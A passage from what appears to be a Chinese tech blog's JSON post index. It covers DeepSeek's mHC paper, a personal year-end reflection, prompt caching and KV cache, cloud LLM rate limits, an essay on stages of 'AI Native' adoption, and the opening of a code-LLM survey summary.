3000。这就好比你在第一层对模型耳语了一句 “你好”，传到第 60 层时，变成了 3000 个广场舞大喇叭同时贴着你耳朵尖叫。\n在这种噪音下，梯度瞬间爆炸，前面提到的梯度震荡就是这么来的。这简直是个死局： 想聪明（用宽连接），就会爆炸；想稳定（用老架构），就得忍受平庸。\n一道 “小学数学题” 救场 面对这个死局，DeepSeek 的解法简单得很。 既然信号会因为连乘而无限放大，那就给它加个 “会计”，强制它遵守能量守恒。\n他们引入了一个概念：双随机矩阵（Doubly Stochastic Matrices）。 名字很唬人，但本质极简。它其实就是强制模型做 “加权平均” 。\nDeepSeek 给那个狂暴的混合矩阵定了一条死规矩： “不管你怎么折腾，你每一行的权重加起来必须等于 1，每一列加起来也必须等于 1。”\n这就是数学的魔力： 你想想，如果你计算一组数的 “平均值”，结果有可能超过最大值吗？绝对不可能。DeepSeek 证明了：这种矩阵就算乘上一万次，它依然守规矩，永远不会让能量溢出（信号范数 ≤ 1）。\n效果立竿见影。看看这组热力图对比，这就是 “无序” 和 “有序” 的区别：\n●第一排是失控的 HC 方案，那些深蓝色的色块代表数值极大的异常点（有的飙到了 268.9，有的跌到 -255.2），整个矩阵一片混乱\n●第二排是加了 “紧箍咒” 的 mHC 方案，颜色立刻变浅且均匀，所有数值被死死锁在 0 到 1 之间，井井有条。\n那个飙到 3000 倍的信号核爆，被瞬间按回了 1.6 倍 。 面对 3000 倍的信号核爆，DeepSeek 没有用工程上的 “补丁”（比如强行截断数值），而是从数学底层定义了一个新的流形（Manifold）。这道 “数学题” 的真面目，其实就是著名的 Birkhoff 多面体投影。\n生态爆发的秘密 如果你觉得这只是个学术实验，那就太天真了。注意看原文中这句容易被忽略的话：\nThis conclusion is further corroborated by our in-house large-scale training experiments\n“这一结论得到了我们内部大规模训练实验的进一步证实。”\n这句话翻译过来就是：虽然这篇论文展示的是 27B 小模型的实验数据，但我们在内部那个庞大的模型矩阵（包括大家熟知的 V3 等）身上，早就验证过这一套了。\n这就解释了为什么 DeepSeek 总能比别人 “多算一步”： 当行业还在卷应用层时，他们已经在底层的连接方式上，用 6.7% 的额外计算时间 ，换来了一个容量更大、表达更强、且绝不炸膛的通用架构。正是这种底层技术的溢出，才支撑起了 DeepSeek 从 V3 到 R1 再到 Coder 的全线开花。\n另外，离春节不远了，你应该知道我要说什么。哈哈\n总结 读完这篇论文，我最大的感受是：DeepSeek 赢的不是显卡数量，而是对数学的直觉。\n如果非要用一句话总结这篇论文，我想引用一位网友的神评论：\n以前的模型像个 被牵着手的乖孩子（ResNet），安全但学不会跑。 后来大家撒手让它跑，结果它是 撒手没，跑两步就疯了（HC）。\nDeepSeek 做的事，就是给孩子画了个 圈（双随机矩阵）。 不管你在圈里怎么跑、怎么翻跟头都行，但绝对不许出圈。\n于是，孩子既学会了跑，又没跑丢。\n当硅谷还在比拼谁的 H100 更多时，DeepSeek 用一道数学题证明了： 有时候，约束才是最大的自由。\n附录 ●DeepSeek 的跨年 “交卷” 之作：https://arxiv.org/pdf/2512.24880\n●字节跳动的大胆尝试：https://arxiv.org/abs/2409.19606\n●不可动摇的 “老祖宗”：https://arxiv.org/abs/1512.03385\n●那道神奇的 “数学题”：Sinkhorn, R. (1964). A Relationship Between Arbitrary Positive Matrices and Doubly Stochastic Matrices.\n","date":"2026-01-03T03:17:15Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-01-03-gui-gu-hai-zai-dui-ka-deepseek-que-zai-zuo-ti-2025-zui-hou-y/cover.jpg","permalink":"/p/2026-01-03-gui-gu-hai-zai-dui-ka-deepseek-que-zai-zuo-ti-2025-zui-hou-y/","title":"硅谷还在堆卡，DeepSeek 却在做题：2025 最后一天，他们用一道数学公式重写了底层"},{"content":"又到了一年的最后一天。\n一年 365 天，回头看总觉得快得不讲道理。可真要落笔时，我却意外地安静。这一年发生了不少事，改变也很大，但我没有去年那种强烈的表达欲，更像是把很多东西收回心里，慢慢消化。\n我这个人有个习惯，一闲下来就容易胡思乱想。工作是成年后的主线，一旦不工作，思绪就会自动飘到一些终极问题上：“人活一辈子为了什么？”、“我还能活多久？”、“身后事又将如何？”\n人到中年，思绪常常在两端摇摆：一端是复杂，日常被无数琐事缠绕；另一端又特别简单、甚至有点执拗 —— 就想把一件事彻底做好。\n我经常在 “熵增” 和 “熵减” 之间来回跳跃：时而被世界的噪声裹挟，时而又试图把自己重新整理得更有序。在这样的跳跃中，我对这一年有了些新的答案。\n1. 关于变化：理解 “条条框框” 的价值 年轻时我很排斥 “标准、规范、准则”，觉得世界广阔，条条框框只会束缚灵性。 但今年，我越来越真切地感受到：很多时候，“条条框框” 并不是束缚，而是一种更简洁、更高效的最优设计。它不一定让你更自由，但能让你更少内耗；不一定让你更快乐，但能让你更稳定。 我不想用某个具体的词去概括这种心态的变化，因为变化本身就是永恒的。重要的是：我开始习惯变化，并且慢慢能掌控变化，这感觉还不错。\n2. 关于生活：平稳即是福 今年身体还算康健，有些小病小灾，但大体无恙。父母的情况也差不多，这让我很安心。回想去年父亲病重时我内心的焦灼，今年相对顺遂，算是这一年里最让人踏实的 “稳”。\n也是因为工作的原因，今年和爱人在一起的时间比往年久。 老夫老妻了，对方更像自己身体的一部分：你怎么对待自己的身体，就怎么对待爱人。很多问题并不是靠 “沟通技巧” 解决的，而是你是否愿意把对方当成自己的一部分来照顾 —— 当你真这么做，很多事自然就顺了。 至于经济上，波澜不惊。大家都在同一段周期里，该经历的一样也少不了。幸运的是，财务状况还算健康，这也是一种底气。\n3. 关于事业：终于全面转向 AI 这一年对我最大的改变，是事业上的：我终于全面转向 AI 了，连 title 都加上了 “AI”。 整个行业的变化日新月异。每天要学习大量新知，也要产出大量成果。那是一种很特别的状态：身体疲劳，但心情愉悦；很亢奋，像是终于找到了长期兴趣所在。 可以说，今年是我职业状态最好的一年。我很感恩，感恩这个时代给了我一张新牌，也感恩自己还愿意继续下注、继续学习、继续折腾。 当然，今年也有不少令人沮丧的时刻，经历了很多失败。但人生就是这样，做好心理建设，主动调整，日子还长，一切都会过去的。\n4. 最大的感悟：持正念，修正果 今年我越来越确定一件事：人生里有许多事情不是你能完全控制的，这跟你努不努力并不严格成正比。\n那该怎么办？随心所欲？随遇而安？我得出的结论是六个字：“持正念，修正果”。\n所谓 “持正念”，就是做人做事的发心要尽量正向。人很复杂，身不由己的事太多，我们都不是圣人，不可能永远正确。但至少要向那个方向靠拢，别放任自己的阴暗面野蛮生长。很多事根子上若是错的，越往后发展越是灾难。而当你有意识地调整心念，你会得到意想不到的回报 —— 不是立刻的暴富，而是长期的、在关键时刻能托住你的力量。\n所谓 “修正果”，就是回到你的日常，看看你每天在做什么。很多人浑浑噩噩地活着，如入迷途。当你开始认真辨认什么是你的 “正果”，并且愿意为它付出稳定的功夫，那就是 “迷途知返” 的开始。 而 “正果” 不是冲刺拿到的，也不是急于求成的。你甚至不必执着于 “成不成”。因为当你持续在修，你会慢慢明白：“果” 不是终点，只是阶段；“修” 才是常态。我们永远在路上。\n这听起来可能有点抽象，甚至有点 “虚”。那是因为我觉得要把想法说清楚，必须抽象出来。我也可以举具体的例子，但那容易让人在细节中产生误会，反而没有这样来得准确。这也证明了为什么数学书经常不讲 “人话”，非要用一套晦涩的语言来下定义 —— 因为准确。\n5. 新年祝愿 过去的一年，有很多人离开这个世界了，也有许多人来到这个世界。生命生生不息，而我们大概率还要活很久。 我对未来仍然抱有期待：期待自己继续成长，期待爱人和家人平安健康，也期待我们都能在不确定里，慢慢走出自己的确定。 最后，我想把最朴素的祝福送给你。 这一年不容易，谢谢你还在。亲爱的朋友，愿你在新的一年里，于无常中修得一份平常，在喧嚣中守住内心的秩序。 请务必照顾好自己的身体。愿春信将至，你我皆安。\n新年快乐！ ","date":"2025-12-31T10:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-12-31-2025-nian-zhong-zong-jie/cover.jpg","permalink":"/p/2025-12-31-2025-nian-zhong-zong-jie/","title":"2025 年终总结"},{"content":" “\nOpenAI 和 Anthropic 声称，缓存的输入 token 在成本上比常规输入 token 便宜 10 倍。\n到底什么是 Cached Token ？ Cached Token 就是让 AI “记住” 它刚刚读过的长内容，不用每次都在脑子里从头重新算一遍，从而让回答变得极快且极便宜。\n想象你正在参加一场开卷考试，考试内容是一本 500 页的历史书。\n没有 Cache (传统模式) ：\n第一题： 你把书从第 1 页读到第 500 页，然后回答问题。\n第二题： 你忘光了刚才读的内容，必须再次从第 1 页读到第 500 页，才能回答第二个问题。\n后果： 每次回答都很慢，而且把你累得半死（消耗算力，费钱）。\n有了 Cached Token (缓存模式) ：\n第一题： 你从第 1 页读到第 500 页，并把关键知识点和理解暂时存在脑子里（存入显存）。\n第二题： 你直接调用脑子里的记忆，跳过阅读过程，立刻回答问题。\n后果： 只有第一次慢，后面飞快，而且因为不用重复劳动，甚至可以给考官（用户）打个一折的优惠价\n很多人会误以为 “缓存 = 把上次的回复存起来再发一遍”。不是的。\n更准确地说，缓存的是模型在处理这段输入时产生的一些中间计算结果（常被称为 KV cache：attention 里的 K / V 矩阵）。所以即使 cached_tokens 很高，你也仍然可能得到不同的回答（因为采样、temperature 等发生在更后面）\nLLM 架构 想要彻底弄明白 Cached Token，我们需要从原理上了解一下 LLM 架构。\n我们可以将大语言模型（LLM）的架构看作是一个巨大的数学函数：输入一串数字，输出一个数字。这个过程主要由以下四个核心部分组成：\nTokenizer (分词器 / 切词器) 这是模型与人类语言交互的翻译官。\nLLM 无法直接理解文本（如中文或英文），它只能处理数字。Tokenizer 的作用是将你输入的提示词（Prompt）切分成一个个小的片段，称为 Token，并为每个 Token 分配一个唯一的整数 ID。\n比如输入 \u0026ldquo;Check out ngrok.ai\u0026rdquo;，Tokenizer 会将其切分为 [\u0026ldquo;Check\u0026rdquo;, \u0026ldquo;out\u0026rdquo;, \u0026ldquo;ng\u0026rdquo;, \u0026ldquo;rok\u0026rdquo;, \u0026ldquo;.ai\u0026rdquo;]，并转换为对应的数字序列 。\n注意：不同的模型（如 GPT-5 和 Claude）使用不同的 Tokenizer 规则\nEmbedding (嵌入层) 这是让数字拥有含义的一步。将 Tokenizer 生成的简单整数 ID 转换为 高维向量（即一长串数字数组）。这个过程就像查字典，每个 Token ID 对应一个固定的向量。\n下面是一个例子，可以看到将原始 token 进行 embedding 后是什么样子。\nEmbedding 是可以有很多维度的，最大的模型甚至超过 10,000 维，上面的例子只显示了三维。维度越多，大语言模型对每个标记的表示就越复杂、越细致。\n这些向量代表了 Token 的 “语义位置”。在这个高维空间中，含义相似的词（如 “猫” 和 “狗”）在空间上的距离会更近。这一步还会把 Token 的 位置信息 编码进去，这样模型就能知道词语的先后顺序。\n如果你听说过 “余弦相似度”，那么恭喜你找对了方向。Embedding（嵌入） 和 Cosine Similarity（余弦相似度） 的关系可以理解为 “坐标” 与 “距离测量工具” 的关系。\n想象一个巨大的多维空间（就像一个无限大的图书馆）。Embedding 就是把每一个词、每一句话都变成这个空间里的一个 具体的坐标点，在这个空间里，意思相近的词（比如 “猫” 和 “小猫”），它们的坐标点会靠得很近；意思无关的词（比如 “猫” 和 “微波炉”），距离就会很远。Embedding 把文字变成了数学空间里的向量，而余弦相似度用来计算这些向量之间的 “语义距离”。\nTransformer (变换器 / 核心处理层) 这是 LLM 的大脑，负责理解和推理。\n它的主要工作是让输入序列中的每个 Token 相互 “交流”。模型会计算每个 Token 对其他 Token 的重要程度（即 “注意力权重”）。例如在句子 \u0026ldquo;Mary had a little lamb\u0026rdquo; 中，模型会计算出 \u0026ldquo;Mary\u0026rdquo; 对 \u0026ldquo;had\u0026rdquo; 的生成有多重要。这就是它的核心机制。\n到这里我知道你肯定会想到这篇开山之作**《Attention Is All You Need》**。没错，这篇论文作为开山之作，几乎全篇都在讨论 “Transformer”。该论文提出的 Transformer 架构，其主要职责就是接收 Embedding 层的输入（一堆数字向量），然后在这一层内部通过 Attention（注意力机制） 和 Feedforward（前馈网络） 对这些数据进行复杂的数学变换。关于论文这里不便展开，我们言归正传。\n在这一层，输入的 Embedding 会被转化为 Query (Q)、Key (K) 和 Value (V) 三种形态。通过复杂的矩阵运算（Q 乘以 K 得到权重，再乘以 V），模型能够理解上下文的语境和词与词之间的关系。\n简单来说：\n每个 token 会生成三组向量：Q (Query：我想找什么)、K (Key：我有什么线索)、V (Value：我的内容是什么) 通过计算 Q 和所有 K 的相似度，得到 “该关注谁” 的权重（softmax 归一化），再对 V 做加权求和，得到 “结合上下文后的新表示”。 Multi-head 就是并行做多组注意力，让模型能同时学到多种关系（语法、指代、主题等） 这个阶段是计算量最大的部分。为了加速，推理过程中会将计算过的 K 和 V 矩阵缓存起来（即 KV Cache），避免对之前的 Token 重复计算\nOutput (输出层) 这是最终生成结果的一步。\n经过 Transformer 层层处理后，最后得到一个新的 Embedding。输出层会将其转化为概率分布，预测 下一个最可能出现的 Token。\nLLM 是 “自回归” 的，这意味着它每次只生成一个 Token。生成的这个新 Token 会被加回到输入的末尾，整个流程（Tokenizer -\u0026gt; \u0026hellip; -\u0026gt; Output）再次循环，直到生成结束符（如）或达到长度限制\n实现原理 了解了之前这些背景知道，我们就可以解释 Cached Token 的技术原理了。\n在 LLM（大语言模型）推理过程中，Cached Token 指的是对 KV Cache (Key-Value Cache) 的复用技术。\nTransformer 架构是自回归的。在生成回答（Decode 阶段）之前，模型必须先 “理解” 输入（Prefill 阶段）。这个 “理解” 过程涉及大量的矩阵运算，计算出每个 Token 的 Key 和 Value 向量（即注意力机制的中间状态）。对于长文本（如 RAG 场景中的大量文档），每次请求都重新计算这些 KV 向量是巨大的算力浪费，这就是 Cached Token 解决的问题。\n实现机制：\n存储状态： 当模型第一次处理前缀（Prefix，例如 System Prompt 或长文档）时，将计算好的 KV 向量驻留在 GPU 显存（VRAM）或层级存储中。 前缀匹配： 当新的请求进来，如果开头部分（Prefix）与缓存中的 Token 完全一致，推理引擎（如 vLLM, SGLang）会直接加载已计算好的 KV 状态，跳过 Transformer 的前向计算过程。 PagedAttention： 现代推理引擎（如 vLLM）使用类似操作系统内存分页的技术（PagedAttention）来管理这些缓存块，解决了显存碎片化问题，允许多个请求共享同一份物理显存中的 Prompt 数据 想省钱，要这样用 要在应用里稳定吃到 cached tokens（prompt caching），核心就三句话：\n提示词要够长（通常 ≥ 1024 tokens 才会开始命中） 前缀要 “完全一致”（缓存按 “最长相同前缀” 命中，哪怕一个字符 / 空格不同都可能全失效） 把不变的放前面，把变化的放后面（指令/工具/示例/长背景固定；用户问题、检索结果、时间戳等放末尾） 所以我们要从设计上进行些调整才能够 “省钱”：\n设计 “可缓存的前缀结构”，把 prompt 拆成两段（非常重要）：\n可缓存前缀（Static Prefix）：system 指令、角色设定、规范、few-shot 示例、工具定义、长期不变的背景资料\n动态尾部（Dynamic Tail）：用户输入、RAG 检索内容、实时数据、时间戳、request_id、实验开关等\n多轮对话 / Agent 的注意事项\n消息数组要 “只追加，不改历史”：如果你为了省 tokens 把历史消息重排、压缩、或插入到中间，很可能导致前缀变了 → cache miss。\n工具定义（tools）必须完全一致，顺序也要一致，否则工具部分也进不了缓存前缀\n“\nOpenAI Cookbook 直接建议： 静态内容放开头，可变内容放结尾；工具 / 图片也一样。\n常见 “踩坑清单” 把时间戳 / 随机 ID 放在 system 开头：每次都变，等于主动让缓存失效。 JSON 序列化不稳定：同一份 tool schema 如果字段顺序、空格、换行变化，token 序列可能变 → miss（所以建议对 system/tools 做 “规范化输出”，并保持完全一致） 指令在每次请求里微调一两个字：看似小改动，可能让前 1024 tokens 出现差异，直接从 “高命中” 变成 “全 miss”。Azure 文档 明确说 “前 1024 tokens 一个字符差异就会 miss” 缓存能活多久 / 怎么保持 不同厂商策略不同，但你可以这么理解：缓存不是永久的，要么靠短时间内重复使用，要么使用更长的保留策略（如果提供）。\nAzure OpenAI：缓存通常在空闲 5–10 分钟清理，并且最晚 1 小时内会移除；还支持 prompt_cache_key 帮你影响路由提高命中，但同一前缀 + key 如果请求过猛（文档提到约 15 RPM 量级）可能溢出导致命中变差。 OpenAI：提供 prompt_cache_retention（默认 in_memory，也可选 24h 做更长保留），并说明缓存的是 attention prefill 产生的 KV tensors，原始提示文本不以同样方式持久化。 Anthropic Claude：通过在特定内容块上标注 cache_control 来启用 / 控制缓存（用法是显式的）。 落地建议 给开发：\n把系统提示词拆成 STATIC_SYSTEM_PROMPT（长期不变）+ DYNAMIC_CONTEXT（每次变） 所有请求都按固定模板拼：STATIC_SYSTEM_PROMPT + tools + (可选固定示例) + DYNAMIC_CONTEXT + user_question 总结来说：把静态内容（System Prompt、Tools）置顶，动态内容（User Query、Time）置底；确保 JSON 序列化顺序固定；针对 Claude 需手动加标记；监控 “缓存命中率”（Cache Hit Rate）指标，确保不是在做负优化。 给产品：\n缓存能让长文档分析、多轮对话变得极快且便宜。设计功能时，尽量让用户基于一个 “固定的背景”（如上传一份文档后针对该文档多次提问），这最能利用缓存优势。 实际应用场景 多轮对话 (Chatbot)： 用户和 AI 聊了 20 轮，第 21 轮时，前 20 轮的历史记录就是 “Cached Token”。不用每次都重算历史记录，响应更快。 文档问答 (RAG)： 上传一本 PDF 法律合同。只要文件没变，第二个问题开始，AI 就不需要重新处理这份文件 代码助手 (Coding Agent)： 将整个项目的代码库结构作为 Prompt 发送给 AI。这部分内容巨大且变动不频繁，非常适合缓存。 角色扮演 / Agent： 复杂的 System Prompt（设定 AI 的性格、规则、工具定义）通常很长且固定，缓存后每次调用都极快 ","date":"2025-12-29T05:37:52Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-12-29-ti-shi-ci-huan-cun-rang-llm-cheng-ben-jiang-10-bei/cover.jpg","permalink":"/p/2025-12-29-ti-shi-ci-huan-cun-rang-llm-cheng-ben-jiang-10-bei/","title":"提示词缓存:让 LLM 成本降 10 倍"},{"content":"背景知识 速率限制以五种方式衡量：\nRPM（每分钟请求数） TPM（每分钟 token 数） RPD（每日请求数） TPD（每日 token 数） IPM（每分钟图像数） TPM (Tokens Per Minute) 中文含义： 每分钟 Token 数 定义： 在一分钟内，允许你的应用程序发送给模型（输入）和从模型接收（输出）的 Token 总量。\nRPM (Requests Per Minute) 中文含义： 每分钟请求数 定义： 在一分钟内，允许你的应用程序向 API 接口发起调用的次数。\n我们可以把 API 想象成一个高速公路收费站：\nRPM (请求数) = 通过车辆的数量\n限制 RPM 就像限制收费站每分钟只能通过 100 辆车。\n不管你是摩托车还是大卡车，只要过一辆车，就占 1 个额度。\nTPM (Token 数) = 车辆装载的货物总量\n限制 TPM 就像限制收费站每分钟只能通过 10 吨货物。\n你可以过 100 辆空载的摩托车（高 RPM，低 TPM）。\n你也可能只过 1 辆装满货物的重型卡车，然后就超重了，后面不能再过车了（低 RPM，高 TPM）。\n模型供应商配额说明 AWS AWS Bedrock 的限额，本质上是按 **区域（Region） + 模型（Model）**这两个维度来限制的，不会在不同区域之间共享。\n每一个 AWS 区域（Region）都有自己独立的一份模型配额 配额只在同一个区域内生效 举个例子：\n如果你同时在 us-east-1、us-east-2、us-west-2 这三个区域使用同一个模型 那么这三个区域各自都有一份独立的 RPM 配额 实际可用的总请求能力，相当于 三个区域配额的总和（x1 + x2 + x3） 但需要注意一点：\n在同一个 AWS 账户下 ， 同一个区域内，同一个模型的配额是所有服务 / 应用共用的 也就是说，只要是在同一区域使用同一个模型，不管你起了多少个应用或实例，都会一起消耗这一个区域里的那份配额。（无论有多少个 api key）\nAzure Azure 配额是按**「区域 + 订阅 + 模型 / 部署类型」**三个维度独立划分的\n只要 “区域、订阅或模型” 其中任意一个维度不一样，就会拥有一份独立的 TPM / RPM 限额池。\n订阅（Subscription）\n不同订阅之间配额是独立的。即便是同一区域、同一个模型，不同订阅互不影响。\n区域（Region）\n不同的地理区域不会共享配额。 即使在同一个订阅、同一个模型下，不同区域都有各自完整的配额池\n模型 / 部署类型（Model / Deployment Type）\n不同模型或不同部署类型（GlobalStandard vs DataZoneStandard）各自有独立限额\n假设 gpt-4.1 的默认配额是：\n5,000,000 TPM 5,000 RPM 那么你在不同维度组合下会得到不同的配额池（以下每一条都是独立的配额，不互相占用）：\n⚠️注意：\n在 同一个 Azure 订阅、同一区域、同一个模型下的所有部署实例会 共用同一份限额池。\n比如 SubA 在 EastUS 部署多个 gpt-4.1 实例 → 都一起消耗这一区域这型号的配额\n但如果 同一个订阅在多个区域部署同一模型，每个区域就能拿到一份独立 pool → 可以叠加整体配额。\n核心公式（逻辑层面）：总可用配额 ≈ Σ（每个区域 × 每个订阅 × 每个模型 / 部署类型 的配额池）\n部署类型说明 ：\nGlobalStandard 表示推理请求可以在 Azure 全球任何支持该模型的区域执行，默认配额较高，适合性能和吞吐要求高、对数据处理位置没有严格限制的场景。 DataZoneStandard 则限制推理处理只在 Microsoft 定义的 “数据区域” 内部执行（比如整个美国或整个欧盟），仍然利用 Azure 的内部调度，但在区域范围内，兼顾更高默认配额和区域数据合规性。 ⚠️注意：假设部署类型为 DataZoneStandard ，且数据区域在美国，我从中国发起的请求不会失败，Azure 会把这个推理请求转发到 “美国数据区域内部” 的节点去执行，DataZoneStandard 只是限制 “推理处理（模型计算）” 的位置范围，不是限制请求来源的位置。\nOpenAI 官方 OpenAI 的配额体系用 Rate Limits 控制实时调用速率（请求数 + 令牌数），再通过 Usage Limit / Tier 决定这些速率上限能达到什么程度，两者结合起来确保公平使用、服务稳定以及根据付费情况自动提升资源用量。\n在 OpenAI 平台下，不管你在同一个账号 / 组织里创建了多少个 API Key，它们都是共享同一个限额池，而不是每个 Key 有各自的配额。\nRate Limits OpenAI 的 Rate Limits 主要通过以下指标衡量：\n📌 429 Too Many Requests 错误表示超过了当前限额，需要等待或降速重试\nOpenAI 会同时检查请求数（RPM）和 token 数量（TPM）：\n即使 RPM 未达到上限，但 TPM 用尽时也会被限流 反之亦然，两者谁先触达阈值就会触发限制 例如：如果你的限制是 60 RPM 和 150k TPM\n你每秒最多约 1 次请求 在触发任一限制时被拒绝继续调用 Usage Limit 不同模型和不同帐户级别（所谓的 Usage Tier / 付费等级）有不同的限额 (Usage Limit)：\n免费 / 低付费帐户 通常限额较低 高付费 / 企业帐户 有更高的 RPM 和 TPM 随着在 API 上的支出增加，OpenAI 会自动升级到下一个使用层级。通常会导致大多数模型的速率限制增加。\nRate limits（实时速率限制）与 Usage Limit 是不同概念：\nRate Limit 是短时间内限制访问频率 Usage Limit 是长期的消耗上限（例如每日 / 每月可消耗多少 tokens） Usage Limit 的设置会影响能持续调用的总量，而 Rate Limits 影响的是实时的频率控制 Google 配额机制与 PayGo 模式： Vertex AI 的 Pay-as-you-go (PayGo) 模式对于 Gemini 1.5 Flash / Pro 及 Gemini 2.0 等较新模型，Google 采用动态共享配额 (Dynamic Shared Quota) 机制。这意味着我们不需要手动提交配额增加申请，系统会在特定区域内（如 us-central1）根据整体资源池的空闲情况，在所有 PayGo 客户之间动态分配容量。\n注意：虽然配额显示数值很大（看似无限制），但这代表的是共享池的总量。在区域资源紧张时，我们仍需与其他用户竞争资源，可能会因为区域繁忙而暂时受限。\n瓶颈分析 (RPM vs TPM) ：根据官方最佳实践与实际经验，在大语言模型应用中，每分钟请求数 (RPM) 通常不是首要瓶颈。由于 Input（输入上下文）和 Output（生成内容）消耗大量计算资源，每分钟 Token 数 (TPM) 往往更容易先达到上限。当 TPM 或 RPM 任何一个达到阈值，或者区域资源不足时，系统均会返回 429 (Resource Exhausted) 错误。\n解决方案：预配置吞吐量 (Provisioned Throughput)： 如果业务对稳定性要求极高，且频繁遇到 429 错误，单纯依靠共享配额是不够的。此时应联系 Google Cloud 商务，购买 Provisioned Throughput (预配置吞吐量)。\n区别： 这不是简单的 “资源包” 或 “优先级插队”，而是预留算力。 优势： 购买后，Google 会为我们锁定特定的计算容量，不再与其他 PayGo 用户争抢资源，从而彻底解决资源不足导致的 429 问题，并提供稳定的延迟表现。 XAI 按账号 + 模型进行配额，各模型配额如下：\n","date":"2025-12-23T06:14:29Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-12-23-da-mo-xing-xian-e-xin-xi-hui-zong/cover.jpg","permalink":"/p/2025-12-23-da-mo-xing-xian-e-xin-xi-hui-zong/","title":"大模型限额信息汇总"},{"content":"有关 “AI Native” 的话题很热，最近看到一个视频，个人感觉很值得一看，我总结了一下内容，建议大家可以先看一下原视频\n马车夫的诅咒 如果穿越回 19 世纪末，去问一位马车夫当务之急是什么，他绝不会幻想一台 “内燃机”，他只会祈祷上帝赐予他一匹更快的马。\n福特这句被引用烂了的名言，之所以历久弥新，是因为它精准地揭示了一个横亘在所有技术革命面前的诅咒：**“拟物化”**的思维惯性。\n人类总是试图用旧世界的容器，去盛装新世界的技术\n今天的 AI 浪潮，正深陷在这个陷阱里。残酷的现实是：AI 赋能（AI Enabled）并不是通往未来的必经之路，而是一条铺满鲜花、看似舒适，实则通往平庸的死胡同。真正的变革，绝不是在旧躯壳上修修补补，而是从基因层面进行的暴力重组。\nAI Enabled：给马车装上法拉利引擎 目前绝大多数企业，都停留在第一阶段。\n这一阶段的底层公式是：旧流程 + AI 插件 = 数字化转型？\n这是一种极其危险的错觉。在这种模式下，权力的拓扑结构纹丝不动。人类依然是系统的 CPU（中央处理器），负责所有的逻辑判断、流程串联；而 AI 仅仅是一个外接的 GPU，被要求在某个局部环节加速。这就像给一辆老式木制马车硬塞进了一台 V12 引擎。速度或许能短暂提升，但那副为了马匹设计的脆弱车架，根本无法承受剧烈的推力。在一个 “人是 CPU” 的系统里，强行插入一个超强的 AI，只会让协作变得拥堵。 协调成本的激增，将彻底抵消技术带来的红利。这是做加法，不是做乘法。\n跨越门槛的三重奏 要从 “赋能” 跃迁到 “原生”，我们需要跨越技术与认知的双重鸿沟。幸运的是，技术界正在发生三场静悄悄的突变：\n从 “鹦鹉学舌” 到 “深度思考” (System 2)： AI 正在戒掉单纯的概率拟合，生长出 “思考链”（Chain of Thought）。人不再是流程中必须存在的 “盖章员”，我们只需在关键的例外时刻登场。 从 “坐而论道” 到 “起而行之” (Agent)： AI 终于拿到了键盘和鼠标的控制权。它不再是顾问，而是执行者。人类被迫向两端迁移：在上游制定策略，在下游处理烂摊子。 从 “无状态” 到 “长时记忆” (Memory)： 这是资产的根本转移。未来的经验将固化在系统的向量数据库里。人类不再是经验的肉身载体，而是记忆结构的设计师。 AI Native：流程即代码，数据如流水 当上述三次突变完成，商业世界将迎来 “奇点”：AI Native（AI 原生）。\n这是一个 “AI 是 CPU，人是协处理器” 的新世界。我们不再是给旧马车加速，而是基于 “第一性原理”，从零开始设计一辆智能汽车。\n在这个阶段，组织架构将发生剧烈的 “去骨架化”。数据流和 Agent 像水银泻地般自动流转。检验一家企业是否进入 “原生” 阶段，只需三个灵魂拷问：\n生死之问： 拔掉 AI，你的业务是 “变慢了”，还是 “不存在了”？（前者是赋能，后者才是原生）。 传球之问： 在业务链条里，谁在传球？真正的原生组织不仅让人机协作，更让 AI 与 AI 之间直接 “握手”。 护城河之问： 你的系统是在单纯消耗数据，还是在吞噬经验？如果机器不能把人类的痛苦转化为直觉，那它只是在搬砖，没有建立壁垒。 AI Awaken：这里的黎明静悄悄 在 Native 阶段，我们穷尽了效率。但紧接着，我们将被迫直面一个令人战栗的终极问题：如果机器做完了所有的 “How”（怎么做），谁来定义 “What”（做什么）和 “Why”（为什么）？\n当 AI 不再满足于在已知的地图里导航，而是闯入 “无人区” 发现新规律； 当 AI 不再满足于回答问题，而是开始质疑问题本身； 当 AI 不再盲目逼近目标函数，而是开始修改那个关乎生死的奖励函数时…… 它就不再是一个工具，而是一个拥有意志的新物种。这便是 AI Awaken（AI 觉醒）。\n你可能会问：人类为什么会允许事态发展到这一步？答案既简单又冷酷：为了赢。\nAI Native 的天花板，依然是人类认知的边界。当所有人都把效率卷到极致时，胜负手就取决于谁能投出那一招突破人类盲区的 “神之一手”。那一刻，并不是 AI 想造反，而是商业竞争的 “囚徒困境” 逼迫我们不得不这样做。\nNative 阶段，我们交出了执行权。 Awaken 阶段，我们将交出定义权。\n最后的领地 面对这个不可逆的未来，请不要再问 “AI 还能帮我做什么”。你应该问的是：当这个硅基物种比我更勤奋、更聪明、甚至比我更懂 “什么是正确” 时，我存在的必要性到底是什么？或者说，当所有的理性决策都可以被外包，这个世界上究竟还剩下什么东西，是必须由一个会犯错、会衰老、会痛苦、会叹息的碳基生命，亲自来完成的？\n这或许，才是人类最后的护城河。\n","date":"2025-12-17T03:29:11Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-12-17-tao-li-jiu-shi-jie-de-yin-li-ai-jin-hua-de-san-ge-jie-ti/cover.jpg","permalink":"/p/2025-12-17-tao-li-jiu-shi-jie-de-yin-li-ai-jin-hua-de-san-ge-jie-ti/","title":"逃离旧世界的引力：AI 进化的三个阶梯"},{"content":"一、概述 “\n原文：https://arxiv.org/pdf/2511.18538\n该论文是对代码大语文模型 （Code LLMs）全生命周期的系统性综合研究：从数据处理、预训练到自动化软件工程智能体。旨在弥合学术基准与现实部署之间的差距。\n二、AI 代码生成的基石与演进：从 “辅助工具” 到 “智能专家” 在过去短短几年间，软件开发领域经历了一场由大语言模型（LLM）引发的 “寒武纪大爆发”。我们正处于从 AI 辅助（AI-Assisted）向 AI 驱动（AI-Driven）乃至未来 AI 自主（AI-Autonomous） 过渡的关键阶段。\n如果把 AI 编程比作培养一个超级程序员，那么 “基础模型” 就是它的大脑，“数据” 是它的教材，而 “演进路线” 就是它的成长史。\n现状格局：通用派 vs. 专精派 目前的 AI 代码模型领域呈现出 “双雄并立” 的格局 ：\n通用大模型（General LLMs）： 代表如 GPT-4、Claude 3.5 和 Llama 3。\n特点： 它们是 “通才”，既懂莎士比亚也懂 